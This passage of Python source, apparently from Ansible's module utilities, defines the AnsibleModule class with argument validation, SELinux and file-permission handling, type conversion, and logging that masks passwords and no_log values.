            # No passwd in the rest of the data
            output.insert(0, data[0:begin])
            break

        # Search for the beginning of a passwd
        sep = None
        sep_search_end = end
        while not sep:
            # URL-style username+password
            try:
                begin = data.rindex('://', 0, sep_search_end)
            except ValueError:
                # No url style in the data, check for ssh style in the
                # rest of the string
                begin = 0
            # Search for separator
            try:
                sep = data.index(':', begin + 3, end)
            except ValueError:
                # No separator; choices:
                if begin == 0:
                    # Searched the whole string so there's no password
                    # here.  Return the remaining data
                    output.insert(0, data[0:begin])
                    break
                # Search for a different beginning of the password field.
                sep_search_end = begin
                continue
        if sep:
            # Password was found; remove it.
            output.insert(0, data[end:prev_begin])
            output.insert(0, '********')
            output.insert(0, data[begin:sep + 1])
            prev_begin = begin

    output = ''.join(output)
    if no_log_values:
        output = remove_values(output, no_log_values)
    return output

def is_executable(path):
    '''is the given path executable?

    Limitations:
    * Does not account for FSACLs.
    * Most times we really want to know "Can the current user execute this
      file"  This function does not tell us that, only if an execute bit is set.
    '''
    # These are all bitfields so first bitwise-or all the permissions we're
    # looking for, then bitwise-and with the file's mode to determine if any
    # execute bits are set.
    return ((stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) & os.stat(path)[stat.ST_MODE])

def _load_params():
    ''' read the modules parameters and store them globally.

    This function may be needed for certain very dynamic custom modules which
    want to process the parameters that are being handed the module.  Since
    this is so closely tied to the implementation of modules we cannot
    guarantee API stability for it (it may change between versions) however we
    will try not to break it gratuitously.  It is certainly more future-proof
    to call this function and consume its outputs than to implement the logic
    inside it as a copy in your own code.
    '''
    global _ANSIBLE_ARGS
    if _ANSIBLE_ARGS is not None:
        buffer = _ANSIBLE_ARGS
    else:
        # debug overrides to read args from file or cmdline

        # Avoid tracebacks when locale is non-utf8
        # We control the args and we pass them as utf8
        if len(sys.argv) > 1:
            if os.path.isfile(sys.argv[1]):
                fd = open(sys.argv[1], 'rb')
                buffer = fd.read()
                fd.close()
            else:
                buffer = sys.argv[1]
                if PY3:
                    buffer = buffer.encode('utf-8', errors='surrogateescape')
        # default case, read from stdin
        else:
            if PY2:
                buffer = sys.stdin.read()
            else:
                buffer = sys.stdin.buffer.read()
        _ANSIBLE_ARGS = buffer

    try:
        params = json.loads(buffer.decode('utf-8'))
    except ValueError:
        # This helper used too early for fail_json to work.
        print('\n{"msg": "Error: Module unable to decode valid JSON on stdin.  Unable to figure out what parameters were passed", "failed": true}')
        sys.exit(1)

    if PY2:
        params = json_dict_unicode_to_bytes(params)

    try:
        return params['ANSIBLE_MODULE_ARGS']
    except KeyError:
        # This helper does not have access to fail_json so we have to print
        # json output on our own.
        print('\n{"msg": "Error: Module unable to locate ANSIBLE_MODULE_ARGS in json data from stdin.  Unable to figure out what parameters were passed", "failed": true}')
        sys.exit(1)

def env_fallback(*args, **kwargs):
    ''' Load value from environment '''
    for arg in args:
        if arg in os.environ:
            return os.environ[arg]
    else:
        raise AnsibleFallbackNotFound

def _lenient_lowercase(lst):
    """Lowercase elements of a list.

    If an element is not a string, pass it through untouched.
    """
    lowered = []
    for value in lst:
        try:
            lowered.append(value.lower())
        except AttributeError:
            lowered.append(value)
    return lowered


class AnsibleFallbackNotFound(Exception):
    pass


class AnsibleModule(object):
    def __init__(self, argument_spec, bypass_checks=False, no_log=False,
        check_invalid_arguments=True, mutually_exclusive=None, required_together=None,
        required_one_of=None, add_file_common_args=False, supports_check_mode=False,
        required_if=None):

        '''
        common code for quickly building an ansible module in Python
        (although you can write modules in anything that can return JSON)
        see library/* for examples
        '''

        self.argument_spec = argument_spec
        self.supports_check_mode = supports_check_mode
        self.check_mode = False
        self.no_log = no_log
        self.cleanup_files = []
        self._debug = False
        self._diff = False
        self._verbosity = 0
        # May be used to set modifications to the environment for any
        # run_command invocation
        self.run_command_environ_update = {}

        self.aliases = {}
        self._legal_inputs = ['_ansible_check_mode', '_ansible_no_log', '_ansible_debug', '_ansible_diff', '_ansible_verbosity', '_ansible_selinux_special_fs', '_ansible_module_name', '_ansible_version', '_ansible_syslog_facility']

        if add_file_common_args:
            for k, v in FILE_COMMON_ARGUMENTS.items():
                if k not in self.argument_spec:
                    self.argument_spec[k] = v

        self._load_params()
        self._set_fallbacks()

        # append to legal_inputs and then possibly check against them
        try:
            self.aliases = self._handle_aliases()
        except Exception:
            e = get_exception()
            # Use exceptions here because it isn't safe to call fail_json until no_log is processed
            print('\n{"failed": true, "msg": "Module alias error: %s"}' % str(e))
            sys.exit(1)

        # Save parameter values that should never be logged
        self.no_log_values = set()
        # Use the argspec to determine which args are no_log
        for arg_name, arg_opts in self.argument_spec.items():
            if arg_opts.get('no_log', False):
                # Find the value for the no_log'd param
                no_log_object = self.params.get(arg_name, None)
                if no_log_object:
                    self.no_log_values.update(return_values(no_log_object))

        # check the locale as set by the current environment, and reset to
        # a known valid (LANG=C) if it's an invalid/unavailable locale
        self._check_locale()

        self._check_arguments(check_invalid_arguments)

        # check exclusive early
        if not bypass_checks:
            self._check_mutually_exclusive(mutually_exclusive)

        self._set_defaults(pre=True)


        self._CHECK_ARGUMENT_TYPES_DISPATCHER = {
                'str': self._check_type_str,
                'list': self._check_type_list,
                'dict': self._check_type_dict,
                'bool': self._check_type_bool,
                'int': self._check_type_int,
                'float': self._check_type_float,
                'path': self._check_type_path,
                'raw': self._check_type_raw,
                'jsonarg': self._check_type_jsonarg,
                'json': self._check_type_jsonarg,
                'bytes': self._check_type_bytes,
                'bits': self._check_type_bits,
            }
        if not bypass_checks:
            self._check_required_arguments()
            self._check_argument_types()
            self._check_argument_values()
            self._check_required_together(required_together)
            self._check_required_one_of(required_one_of)
            self._check_required_if(required_if)

        self._set_defaults(pre=False)

        if not self.no_log and self._verbosity >= 3:
            self._log_invocation()

        # finally, make sure we're in a sane working dir
        self._set_cwd()

    def load_file_common_arguments(self, params):
        '''
        many modules deal with files, this encapsulates common
        options that the file module accepts such that it is directly
        available to all modules and they can share code.
        '''

        path = params.get('path', params.get('dest', None))
        if path is None:
            return {}
        else:
            path = os.path.expanduser(path)

        # if the path is a symlink, and we're following links, get
        # the target of the link instead for testing
        if params.get('follow', False) and os.path.islink(path):
            path = os.path.realpath(path)

        mode   = params.get('mode', None)
        owner  = params.get('owner', None)
        group  = params.get('group', None)

        # selinux related options
        seuser    = params.get('seuser', None)
        serole    = params.get('serole', None)
        setype    = params.get('setype', None)
        selevel   = params.get('selevel', None)
        secontext = [seuser, serole, setype]

        if self.selinux_mls_enabled():
            secontext.append(selevel)

        default_secontext = self.selinux_default_context(path)
        for i in range(len(default_secontext)):
            if i is not None and secontext[i] == '_default':
                secontext[i] = default_secontext[i]

        return dict(
            path=path, mode=mode, owner=owner, group=group,
            seuser=seuser, serole=serole, setype=setype,
            selevel=selevel, secontext=secontext,
        )


    # Detect whether using selinux that is MLS-aware.
    # While this means you can set the level/range with
    # selinux.lsetfilecon(), it may or may not mean that you
    # will get the selevel as part of the context returned
    # by selinux.lgetfilecon().

    def selinux_mls_enabled(self):
        if not HAVE_SELINUX:
            return False
        if selinux.is_selinux_mls_enabled() == 1:
            return True
        else:
            return False

    def selinux_enabled(self):
        if not HAVE_SELINUX:
            seenabled = self.get_bin_path('selinuxenabled')
            if seenabled is not None:
                (rc,out,err) = self.run_command(seenabled)
                if rc == 0:
                    self.fail_json(msg="Aborting, target uses selinux but python bindings (libselinux-python) aren't installed!")
            return False
        if selinux.is_selinux_enabled() == 1:
            return True
        else:
            return False

    # Determine whether we need a placeholder for selevel/mls
    def selinux_initial_context(self):
        context = [None, None, None]
        if self.selinux_mls_enabled():
            context.append(None)
        return context

    # If selinux fails to find a default, return an array of None
    def selinux_default_context(self, path, mode=0):
        context = self.selinux_initial_context()
        if not HAVE_SELINUX or not self.selinux_enabled():
            return context
        try:
            ret = selinux.matchpathcon(to_native(path, 'strict'), mode)
        except OSError:
            return context
        if ret[0] == -1:
            return context
        # Limit split to 4 because the selevel, the last in the list,
        # may contain ':' characters
        context = ret[1].split(':', 3)
        return context

    def selinux_context(self, path):
        context = self.selinux_initial_context()
        if not HAVE_SELINUX or not self.selinux_enabled():
            return context
        try:
            ret = selinux.lgetfilecon_raw(to_native(path, 'strict'))
        except OSError:
            e = get_exception()
            if e.errno == errno.ENOENT:
                self.fail_json(path=path, msg='path %s does not exist' % path)
            else:
                self.fail_json(path=path, msg='failed to retrieve selinux context')
        if ret[0] == -1:
            return context
        # Limit split to 4 because the selevel, the last in the list,
        # may contain ':' characters
        context = ret[1].split(':', 3)
        return context

    def user_and_group(self, filename):
        filename = os.path.expanduser(filename)
        st = os.lstat(filename)
        uid = st.st_uid
        gid = st.st_gid
        return (uid, gid)

    def find_mount_point(self, path):
        path = os.path.realpath(os.path.expanduser(os.path.expandvars(path)))
        while not os.path.ismount(path):
            path = os.path.dirname(path)
        return path

    def is_special_selinux_path(self, path):
        """
        Returns a tuple containing (True, selinux_context) if the given path is on a
        NFS or other 'special' fs  mount point, otherwise the return will be (False, None).
        """
        try:
            f = open('/proc/mounts', 'r')
            mount_data = f.readlines()
            f.close()
        except:
            return (False, None)
        path_mount_point = self.find_mount_point(path)
        for line in mount_data:
            (device, mount_point, fstype, options, rest) = line.split(' ', 4)

            if path_mount_point == mount_point:
                for fs in self._selinux_special_fs:
                    if fs in fstype:
                        special_context = self.selinux_context(path_mount_point)
                        return (True, special_context)

        return (False, None)

    def set_default_selinux_context(self, path, changed):
        if not HAVE_SELINUX or not self.selinux_enabled():
            return changed
        context = self.selinux_default_context(path)
        return self.set_context_if_different(path, context, False)

    def set_context_if_different(self, path, context, changed, diff=None):

        if not HAVE_SELINUX or not self.selinux_enabled():
            return changed
        cur_context = self.selinux_context(path)
        new_context = list(cur_context)
        # Iterate over the current context instead of the
        # argument context, which may have selevel.

        (is_special_se, sp_context) = self.is_special_selinux_path(path)
        if is_special_se:
            new_context = sp_context
        else:
            for i in range(len(cur_context)):
                if len(context) > i:
                    if context[i] is not None and context[i] != cur_context[i]:
                        new_context[i] = context[i]
                    elif context[i] is None:
                        new_context[i] = cur_context[i]

        if cur_context != new_context:
            if diff is not None:
                if 'before' not in diff:
                    diff['before'] = {}
                diff['before']['secontext'] = cur_context
                if 'after' not in diff:
                    diff['after'] = {}
                diff['after']['secontext'] = new_context

            try:
                if self.check_mode:
                    return True
                rc = selinux.lsetfilecon(to_native(path),
                                         str(':'.join(new_context)))
            except OSError:
                e = get_exception()
                self.fail_json(path=path, msg='invalid selinux context: %s' % str(e), new_context=new_context, cur_context=cur_context, input_was=context)
            if rc != 0:
                self.fail_json(path=path, msg='set selinux context failed')
            changed = True
        return changed

    def set_owner_if_different(self, path, owner, changed, diff=None):
        path = os.path.expanduser(path)
        if owner is None:
            return changed
        orig_uid, orig_gid = self.user_and_group(path)
        try:
            uid = int(owner)
        except ValueError:
            try:
                uid = pwd.getpwnam(owner).pw_uid
            except KeyError:
                self.fail_json(path=path, msg='chown failed: failed to look up user %s' % owner)
        if orig_uid != uid:

            if diff is not None:
                if 'before' not in diff:
                    diff['before'] = {}
                diff['before']['owner'] = orig_uid
                if 'after' not in diff:
                    diff['after'] = {}
                diff['after']['owner'] = uid

            if self.check_mode:
                return True
            try:
                os.lchown(path, uid, -1)
            except OSError:
                self.fail_json(path=path, msg='chown failed')
            changed = True
        return changed

    def set_group_if_different(self, path, group, changed, diff=None):
        path = os.path.expanduser(path)
        if group is None:
            return changed
        orig_uid, orig_gid = self.user_and_group(path)
        try:
            gid = int(group)
        except ValueError:
            try:
                gid = grp.getgrnam(group).gr_gid
            except KeyError:
                self.fail_json(path=path, msg='chgrp failed: failed to look up group %s' % group)
        if orig_gid != gid:

            if diff is not None:
                if 'before' not in diff:
                    diff['before'] = {}
                diff['before']['group'] = orig_gid
                if 'after' not in diff:
                    diff['after'] = {}
                diff['after']['group'] = gid

            if self.check_mode:
                return True
            try:
                os.lchown(path, -1, gid)
            except OSError:
                self.fail_json(path=path, msg='chgrp failed')
            changed = True
        return changed

    def set_mode_if_different(self, path, mode, changed, diff=None):
        path = os.path.expanduser(path)
        path_stat = os.lstat(path)

        if mode is None:
            return changed

        if not isinstance(mode, int):
            try:
                mode = int(mode, 8)
            except Exception:
                try:
                    mode = self._symbolic_mode_to_octal(path_stat, mode)
                except Exception:
                    e = get_exception()
                    self.fail_json(path=path,
                                   msg="mode must be in octal or symbolic form",
                                   details=str(e))

                if mode != stat.S_IMODE(mode):
                    # prevent mode from having extra info orbeing invalid long number
                    self.fail_json(path=path, msg="Invalid mode supplied, only permission info is allowed", details=mode)

        prev_mode = stat.S_IMODE(path_stat.st_mode)

        if prev_mode != mode:

            if diff is not None:
                if 'before' not in diff:
                    diff['before'] = {}
                diff['before']['mode'] = oct(prev_mode)
                if 'after' not in diff:
                    diff['after'] = {}
                diff['after']['mode'] = oct(mode)

            if self.check_mode:
                return True
            # FIXME: comparison against string above will cause this to be executed
            # every time
            try:
                if hasattr(os, 'lchmod'):
                    os.lchmod(path, mode)
                else:
                    if not os.path.islink(path):
                        os.chmod(path, mode)
                    else:
                        # Attempt to set the perms of the symlink but be
                        # careful not to change the perms of the underlying
                        # file while trying
                        underlying_stat = os.stat(path)
                        os.chmod(path, mode)
                        new_underlying_stat = os.stat(path)
                        if underlying_stat.st_mode != new_underlying_stat.st_mode:
                            os.chmod(path, stat.S_IMODE(underlying_stat.st_mode))
            except OSError:
                e = get_exception()
                if os.path.islink(path) and e.errno == errno.EPERM:  # Can't set mode on symbolic links
                    pass
                elif e.errno in (errno.ENOENT, errno.ELOOP): # Can't set mode on broken symbolic links
                    pass
                else:
                    raise e
            except Exception:
                e = get_exception()
                self.fail_json(path=path, msg='chmod failed', details=str(e))

            path_stat = os.lstat(path)
            new_mode = stat.S_IMODE(path_stat.st_mode)

            if new_mode != prev_mode:
                changed = True
        return changed

    def _symbolic_mode_to_octal(self, path_stat, symbolic_mode):
        new_mode = stat.S_IMODE(path_stat.st_mode)

        mode_re = re.compile(r'^(?P<users>[ugoa]+)(?P<operator>[-+=])(?P<perms>[rwxXst-]*|[ugo])$')
        for mode in symbolic_mode.split(','):
            match = mode_re.match(mode)
            if match:
                users = match.group('users')
                operator = match.group('operator')
                perms = match.group('perms')

                if users == 'a':
                    users = 'ugo'

                for user in users:
                    mode_to_apply = self._get_octal_mode_from_symbolic_perms(path_stat, user, perms)
                    new_mode = self._apply_operation_to_mode(user, operator, mode_to_apply, new_mode)
            else:
                raise ValueError("bad symbolic permission for mode: %s" % mode)
        return new_mode

    def _apply_operation_to_mode(self, user, operator, mode_to_apply, current_mode):
        if operator  ==  '=':
            if user == 'u': mask = stat.S_IRWXU | stat.S_ISUID
            elif user == 'g': mask = stat.S_IRWXG | stat.S_ISGID
            elif user == 'o': mask = stat.S_IRWXO | stat.S_ISVTX

            # mask out u, g, or o permissions from current_mode and apply new permissions
            inverse_mask = mask ^ PERM_BITS
            new_mode = (current_mode & inverse_mask) | mode_to_apply
        elif operator == '+':
            new_mode = current_mode | mode_to_apply
        elif operator == '-':
            new_mode = current_mode - (current_mode & mode_to_apply)
        return new_mode

    def _get_octal_mode_from_symbolic_perms(self, path_stat, user, perms):
        prev_mode = stat.S_IMODE(path_stat.st_mode)

        is_directory = stat.S_ISDIR(path_stat.st_mode)
        has_x_permissions = (prev_mode & EXEC_PERM_BITS) > 0
        apply_X_permission = is_directory or has_x_permissions

        # Permission bits constants documented at:
        # http://docs.python.org/2/library/stat.html#stat.S_ISUID
        if apply_X_permission:
            X_perms = {
                'u': {'X': stat.S_IXUSR},
                'g': {'X': stat.S_IXGRP},
                'o': {'X': stat.S_IXOTH}
            }
        else:
            X_perms = {
                'u': {'X': 0},
                'g': {'X': 0},
                'o': {'X': 0}
            }

        user_perms_to_modes = {
            'u': {
                'r': stat.S_IRUSR,
                'w': stat.S_IWUSR,
                'x': stat.S_IXUSR,
                's': stat.S_ISUID,
                't': 0,
                'u': prev_mode & stat.S_IRWXU,
                'g': (prev_mode & stat.S_IRWXG) << 3,
                'o': (prev_mode & stat.S_IRWXO) << 6 },
            'g': {
                'r': stat.S_IRGRP,
                'w': stat.S_IWGRP,
                'x': stat.S_IXGRP,
                's': stat.S_ISGID,
                't': 0,
                'u': (prev_mode & stat.S_IRWXU) >> 3,
                'g': prev_mode & stat.S_IRWXG,
                'o': (prev_mode & stat.S_IRWXO) << 3 },
            'o': {
                'r': stat.S_IROTH,
                'w': stat.S_IWOTH,
                'x': stat.S_IXOTH,
                's': 0,
                't': stat.S_ISVTX,
                'u': (prev_mode & stat.S_IRWXU) >> 6,
                'g': (prev_mode & stat.S_IRWXG) >> 3,
                'o': prev_mode & stat.S_IRWXO }
        }

        # Insert X_perms into user_perms_to_modes
        for key, value in X_perms.items():
            user_perms_to_modes[key].update(value)

        or_reduce = lambda mode, perm: mode | user_perms_to_modes[user][perm]
        return reduce(or_reduce, perms, 0)

    def set_fs_attributes_if_different(self, file_args, changed, diff=None):
        # set modes owners and context as needed
        changed = self.set_context_if_different(
            file_args['path'], file_args['secontext'], changed, diff
        )
        changed = self.set_owner_if_different(
            file_args['path'], file_args['owner'], changed, diff
        )
        changed = self.set_group_if_different(
            file_args['path'], file_args['group'], changed, diff
        )
        changed = self.set_mode_if_different(
            file_args['path'], file_args['mode'], changed, diff
        )
        return changed

    def set_directory_attributes_if_different(self, file_args, changed, diff=None):
        return self.set_fs_attributes_if_different(file_args, changed, diff)

    def set_file_attributes_if_different(self, file_args, changed, diff=None):
        return self.set_fs_attributes_if_different(file_args, changed, diff)

    def add_path_info(self, kwargs):
        '''
        for results that are files, supplement the info about the file
        in the return path with stats about the file path.
        '''

        path = kwargs.get('path', kwargs.get('dest', None))
        if path is None:
            return kwargs
        if os.path.exists(path):
            (uid, gid) = self.user_and_group(path)
            kwargs['uid'] = uid
            kwargs['gid'] = gid
            try:
                user = pwd.getpwuid(uid)[0]
            except KeyError:
                user = str(uid)
            try:
                group = grp.getgrgid(gid)[0]
            except KeyError:
                group = str(gid)
            kwargs['owner'] = user
            kwargs['group'] = group
            st = os.lstat(path)
            kwargs['mode']  = oct(stat.S_IMODE(st[stat.ST_MODE]))
            # secontext not yet supported
            if os.path.islink(path):
                kwargs['state'] = 'link'
            elif os.path.isdir(path):
                kwargs['state'] = 'directory'
            elif os.stat(path).st_nlink > 1:
                kwargs['state'] = 'hard'
            else:
                kwargs['state'] = 'file'
            if HAVE_SELINUX and self.selinux_enabled():
                kwargs['secontext'] = ':'.join(self.selinux_context(path))
            kwargs['size'] = st[stat.ST_SIZE]
        else:
            kwargs['state'] = 'absent'
        return kwargs

    def _check_locale(self):
        '''
        Uses the locale module to test the currently set locale
        (per the LANG and LC_CTYPE environment settings)
        '''
        try:
            # setting the locale to '' uses the default locale
            # as it would be returned by locale.getdefaultlocale()
            locale.setlocale(locale.LC_ALL, '')
        except locale.Error:
            # fallback to the 'C' locale, which may cause unicode
            # issues but is preferable to simply failing because
            # of an unknown locale
            locale.setlocale(locale.LC_ALL, 'C')
            os.environ['LANG'] = 'C'
            os.environ['LC_ALL'] = 'C'
            os.environ['LC_MESSAGES'] = 'C'
        except Exception:
            e = get_exception()
            self.fail_json(msg="An unknown error was encountered while attempting to validate the locale: %s" % e)

    def _handle_aliases(self):
        # this uses exceptions as it happens before we can safely call fail_json
        aliases_results = {} #alias:canon
        for (k,v) in self.argument_spec.items():
            self._legal_inputs.append(k)
            aliases = v.get('aliases', None)
            default = v.get('default', None)
            required = v.get('required', False)
            if default is not None and required:
                # not alias specific but this is a good place to check this
                raise Exception("internal error: required and default are mutually exclusive for %s" % k)
            if aliases is None:
                continue
            if type(aliases) != list:
                raise Exception('internal error: aliases must be a list')
            for alias in aliases:
                self._legal_inputs.append(alias)
                aliases_results[alias] = k
                if alias in self.params:
                    self.params[k] = self.params[alias]

        return aliases_results

    def _check_arguments(self, check_invalid_arguments):
        self._syslog_facility = 'LOG_USER'
        for (k,v) in list(self.params.items()):

            if k == '_ansible_check_mode' and v:
                self.check_mode = True

            elif k == '_ansible_no_log':
                self.no_log = self.boolean(v)

            elif k == '_ansible_debug':
                self._debug = self.boolean(v)

            elif k == '_ansible_diff':
                self._diff = self.boolean(v)

            elif k == '_ansible_verbosity':
                self._verbosity = v

            elif k == '_ansible_selinux_special_fs':
                self._selinux_special_fs = v

            elif k == '_ansible_syslog_facility':
                self._syslog_facility = v

            elif k == '_ansible_version':
                self.ansible_version = v

            elif k == '_ansible_module_name':
                self._name = v

            elif check_invalid_arguments and k not in self._legal_inputs:
                self.fail_json(msg="unsupported parameter for module: %s" % k)

            #clean up internal params:
            if k.startswith('_ansible_'):
                del self.params[k]

        if self.check_mode and not self.supports_check_mode:
                self.exit_json(skipped=True, msg="remote module (%s) does not support check mode" % self._name)

    def _count_terms(self, check):
        count = 0
        for term in check:
            if term in self.params:
                count += 1
        return count

    def _check_mutually_exclusive(self, spec):
        if spec is None:
            return
        for check in spec:
            count = self._count_terms(check)
            if count > 1:
                self.fail_json(msg="parameters are mutually exclusive: %s" % (check,))

    def _check_required_one_of(self, spec):
        if spec is None:
            return
        for check in spec:
            count = self._count_terms(check)
            if count == 0:
                self.fail_json(msg="one of the following is required: %s" % ','.join(check))

    def _check_required_together(self, spec):
        if spec is None:
            return
        for check in spec:
            counts = [ self._count_terms([field]) for field in check ]
            non_zero = [ c for c in counts if c > 0 ]
            if len(non_zero) > 0:
                if 0 in counts:
                    self.fail_json(msg="parameters are required together: %s" % (check,))

    def _check_required_arguments(self):
        ''' ensure all required arguments are present '''
        missing = []
        for (k,v) in self.argument_spec.items():
            required = v.get('required', False)
            if required and k not in self.params:
                missing.append(k)
        if len(missing) > 0:
            self.fail_json(msg="missing required arguments: %s" % ",".join(missing))

    def _check_required_if(self, spec):
        ''' ensure that parameters which conditionally required are present '''
        if spec is None:
            return
        for (key, val, requirements) in spec:
            missing = []
            if key in self.params and self.params[key] == val:
                for check in requirements:
                    count = self._count_terms((check,))
                    if count == 0:
                        missing.append(check)
            if len(missing) > 0:
                self.fail_json(msg="%s is %s but the following are missing: %s" % (key, val, ','.join(missing)))

    def _check_argument_values(self):
        ''' ensure all arguments have the requested values, and there are no stray arguments '''
        for (k,v) in self.argument_spec.items():
            choices = v.get('choices',None)
            if choices is None:
                continue
            if isinstance(choices, SEQUENCETYPE):
                if k in self.params:
                    if self.params[k] not in choices:
                        # PyYaml converts certain strings to bools.  If we can unambiguously convert back, do so before checking the value.  If we can't figure this out, module author is responsible.
                        lowered_choices = None
                        if self.params[k] == 'False':
                            lowered_choices = _lenient_lowercase(choices)
                            FALSEY = frozenset(BOOLEANS_FALSE)
                            overlap = FALSEY.intersection(choices)
                            if len(overlap) == 1:
                                # Extract from a set
                                (self.params[k],) = overlap

                        if self.params[k] == 'True':
                            if lowered_choices is None:
                                lowered_choices = _lenient_lowercase(choices)
                            TRUTHY = frozenset(BOOLEANS_TRUE)
                            overlap = TRUTHY.intersection(choices)
                            if len(overlap) == 1:
                                (self.params[k],) = overlap

                        if self.params[k] not in choices:
                            choices_str=",".join([str(c) for c in choices])
                            msg="value of %s must be one of: %s, got: %s" % (k, choices_str, self.params[k])
                            self.fail_json(msg=msg)
            else:
                self.fail_json(msg="internal error: choices for argument %s are not iterable: %s" % (k, choices))

    def safe_eval(self, value, locals=None, include_exceptions=False):

        # do not allow method calls to modules
        if not isinstance(value, string_types):
            # already templated to a datavaluestructure, perhaps?
            if include_exceptions:
                return (value, None)
            return value
        if re.search(r'\w\.\w+\(', value):
            if include_exceptions:
                return (value, None)
            return value
        # do not allow imports
        if re.search(r'import \w+', value):
            if include_exceptions:
                return (value, None)
            return value
        try:
            result = literal_eval(value)
            if include_exceptions:
                return (result, None)
            else:
                return result
        except Exception:
            e = get_exception()
            if include_exceptions:
                return (value, e)
            return value

    def _check_type_str(self, value):
        if isinstance(value, string_types):
            return value
        # Note: This could throw a unicode error if value's __str__() method
        # returns non-ascii.  Have to port utils.to_bytes() if that happens
        return str(value)

    def _check_type_list(self, value):
        if isinstance(value, list):
            return value

        if isinstance(value, string_types):
            return value.split(",")
        elif isinstance(value, int) or isinstance(value, float):
            return [ str(value) ]

        raise TypeError('%s cannot be converted to a list' % type(value))

    def _check_type_dict(self, value):
        if isinstance(value, dict):
            return value

        if isinstance(value, string_types):
            if value.startswith("{"):
                try:
                    return json.loads(value)
                except:
                    (result, exc) = self.safe_eval(value, dict(), include_exceptions=True)
                    if exc is not None:
                        raise TypeError('unable to evaluate string as dictionary')
                    return result
            elif '=' in value:
                fields = []
                field_buffer = []
                in_quote = False
                in_escape = False
                for c in value.strip():
                    if in_escape:
                        field_buffer.append(c)
                        in_escape = False
                    elif c == '\\':
                        in_escape = True
                    elif not in_quote and c in ('\'', '"'):
                        in_quote = c
                    elif in_quote and in_quote == c:
                        in_quote = False
                    elif not in_quote and c in (',', ' '):
                        field = ''.join(field_buffer)
                        if field:
                            fields.append(field)
                        field_buffer = []
                    else:
                        field_buffer.append(c)

                field = ''.join(field_buffer)
                if field:
                    fields.append(field)
                return dict(x.split("=", 1) for x in fields)
            else:
                raise TypeError("dictionary requested, could not parse JSON or key=value")

        raise TypeError('%s cannot be converted to a dict' % type(value))

    def _check_type_bool(self, value):
        if isinstance(value, bool):
            return value

        if isinstance(value, string_types) or isinstance(value, int):
            return self.boolean(value)

        raise TypeError('%s cannot be converted to a bool' % type(value))

    def _check_type_int(self, value):
        if isinstance(value, int):
            return value

        if isinstance(value, string_types):
            return int(value)

        raise TypeError('%s cannot be converted to an int' % type(value))

    def _check_type_float(self, value):
        if isinstance(value, float):
            return value

        if isinstance(value, string_types):
            return float(value)

        raise TypeError('%s cannot be converted to a float' % type(value))

    def _check_type_path(self, value):
        value = self._check_type_str(value)
        return os.path.expanduser(os.path.expandvars(value))

    def _check_type_jsonarg(self, value):
        # Return a jsonified string.  Sometimes the controller turns a json
        # string into a dict/list so transform it back into json here
        if isinstance(value, (text_type, binary_type)):
            return value.strip()
        else:
            if isinstance(value, (list, tuple, dict)):
                return json.dumps(value)
        raise TypeError('%s cannot be converted to a json string' % type(value))

    def _check_type_raw(self, value):
        return value


    def _check_type_bytes(self, value):
        try:
            self.human_to_bytes(value)
        except ValueError:
            raise TypeError('%s cannot be converted to a Byte value' % type(value))


    def _check_type_bits(self, value):
        try:
            self.human_to_bytes(value, bits=True)
        except ValueError:
            raise TypeError('%s cannot be converted to a Bit value' % type(value))

    def _check_argument_types(self):
        ''' ensure all arguments have the requested type '''
        for (k, v) in self.argument_spec.items():
            wanted = v.get('type', None)
            if k not in self.params:
                continue
            if wanted is None:
                # Mostly we want to default to str.
                # For values set to None explicitly, return None instead as
                # that allows a user to unset a parameter
                if self.params[k] is None:
                    continue
                wanted = 'str'

            value = self.params[k]
            if value is None:
                continue

            try:
                type_checker = self._CHECK_ARGUMENT_TYPES_DISPATCHER[wanted]
            except KeyError:
                self.fail_json(msg="implementation error: unknown type %s requested for %s" % (wanted, k))
            try:
                self.params[k] = type_checker(value)
            except (TypeError, ValueError):
                self.fail_json(msg="argument %s is of type %s and we were unable to convert to %s" % (k, type(value), wanted))

    def _set_defaults(self, pre=True):
        for (k,v) in self.argument_spec.items():
            default = v.get('default', None)
            if pre == True:
                # this prevents setting defaults on required items
                if default is not None and k not in self.params:
                    self.params[k] = default
            else:
                # make sure things without a default still get set None
                if k not in self.params:
                    self.params[k] = default

    def _set_fallbacks(self):
        for k,v in self.argument_spec.items():
            fallback = v.get('fallback', (None,))
            fallback_strategy = fallback[0]
            fallback_args = []
            fallback_kwargs = {}
            if k not in self.params and fallback_strategy is not None:
                for item in fallback[1:]:
                    if isinstance(item, dict):
                        fallback_kwargs = item
                    else:
                        fallback_args = item
                try:
                    self.params[k] = fallback_strategy(*fallback_args, **fallback_kwargs)
                except AnsibleFallbackNotFound:
                    continue

    def _load_params(self):
        ''' read the input and set the params attribute.

        This method is for backwards compatibility.  The guts of the function
        were moved out in 2.1 so that custom modules could read the parameters.
        '''
        # debug overrides to read args from file or cmdline
        self.params = _load_params()

    def _log_to_syslog(self, msg):
        if HAS_SYSLOG:
            module = 'ansible-%s' % self._name
            facility = getattr(syslog, self._syslog_facility, syslog.LOG_USER)
            syslog.openlog(str(module), 0, facility)
            syslog.syslog(syslog.LOG_INFO, msg)

    def debug(self, msg):
        if self._debug:
            self.log(msg)

    def log(self, msg, log_args=None):

        if not self.no_log:

            if log_args is None:
                log_args = dict()

            module = 'ansible-%s' % self._name
            if isinstance(module, binary_type):
                module = module.decode('utf-8', 'replace')

            # 6655 - allow for accented characters
            if not isinstance(msg, (binary_type, text_type)):
                raise TypeError("msg should be a string (got %s)" % type(msg))

            # We want journal to always take text type
            # syslog takes bytes on py2, text type on py3
            if isinstance(msg, binary_type):
                journal_msg = remove_values(msg.decode('utf-8', 'replace'), self.no_log_values)
            else:
                # TODO: surrogateescape is a danger here on Py3
                journal_msg = remove_values(msg, self.no_log_values)

            if PY3:
                syslog_msg = journal_msg
            else:
                syslog_msg = journal_msg.encode('utf-8', 'replace')

            if has_journal:
                journal_args = [("MODULE", os.path.basename(__file__))]
                for arg in log_args:
                    journal_args.append((arg.upper(), str(log_args[arg])))
                try:
                    journal.send(u"%s %s" % (module, journal_msg), **dict(journal_args))
                except IOError:
                    # fall back to syslog since logging to journal failed
                    self._log_to_syslog(syslog_msg)
            else:
                self._log_to_syslog(syslog_msg)

    def _log_invocation(self):
        ''' log that ansible ran the module '''
        # TODO: generalize a separate log function and make log_invocation use it
        # Sanitize possible password argument when logging.
        log_args = dict()
        passwd_keys = ['password', 'login_password']

        for param in self.params:
            canon  = self.aliases.get(param, param)
            arg_opts = self.argument_spec.get(canon, {})
            no_log = arg_opts.get('no_log', False)

            if self.boolean(no_log):
                log_args[param] = 'NOT_LOGGING_PARAMETER'
            elif param in passwd_keys:
